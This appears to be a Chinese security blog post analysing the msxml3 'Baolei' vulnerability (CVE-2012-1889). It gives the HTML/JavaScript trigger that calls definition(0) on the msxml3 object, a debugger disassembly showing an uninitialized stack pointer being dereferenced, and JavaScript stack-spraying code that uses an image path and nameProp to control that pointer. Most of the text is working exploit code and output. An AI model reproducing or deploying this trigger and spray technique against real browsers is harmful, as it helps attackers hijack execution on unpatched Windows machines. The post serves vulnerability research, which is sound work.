MSF的触发代码如下:
触发时的代码如下:


<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx">
</object>
<script>
document.getElementById("xx").object.definition(0);
</script>


0:015> u 5dd8d7c9  L50
msxml3!_dispatchImpl::InvokeHelper+0x93:
5dd8d7c9 8b45ec          mov     eax,dword ptr [ebp-14h]
5dd8d7cc 3bc3            cmp     eax,ebx
5dd8d7ce 8bf0            mov     esi,eax
5dd8d7d0 7426            je      msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8)
5dd8d7d2 ff7528          push    dword ptr [ebp+28h]
5dd8d7d5 8b08            mov     ecx,dword ptr [eax]
5dd8d7d7 ff7524          push    dword ptr [ebp+24h]
5dd8d7da ff7520          push    dword ptr [ebp+20h]
5dd8d7dd 57              push    edi
5dd8d7de 6a03            push    3
5dd8d7e0 ff7514          push    dword ptr [ebp+14h]
5dd8d7e3 6870a8d85d      push    offset msxml3!GUID_NULL (5dd8a870)
5dd8d7e8 53              push    ebx
5dd8d7e9 50              push    eax
5dd8d7ea ff5118          call    dword ptr [ecx+18h]

其中 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 中 eax的值来自于栈上,栈上的值未经初始化,被直接用做对象指针后就会出现问题。要稳定利用该漏洞,就需要对eax的值进行控制,只要预先在栈上排布我们要的数据就可以,比如 unescape("%u1111%u1111")。以下代码可以实现该功能:
执行完 pic.nameProp 后,就会在栈上留下0×2000左右大小的可控数据。

var src = unescape("%u1111%u1111");
while (src.length &lt; 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;

 

相关阅读:暴雷漏洞(CVE-2012-1889)Metasploit利用代码 出自:Inking

源链接

Hacking more

...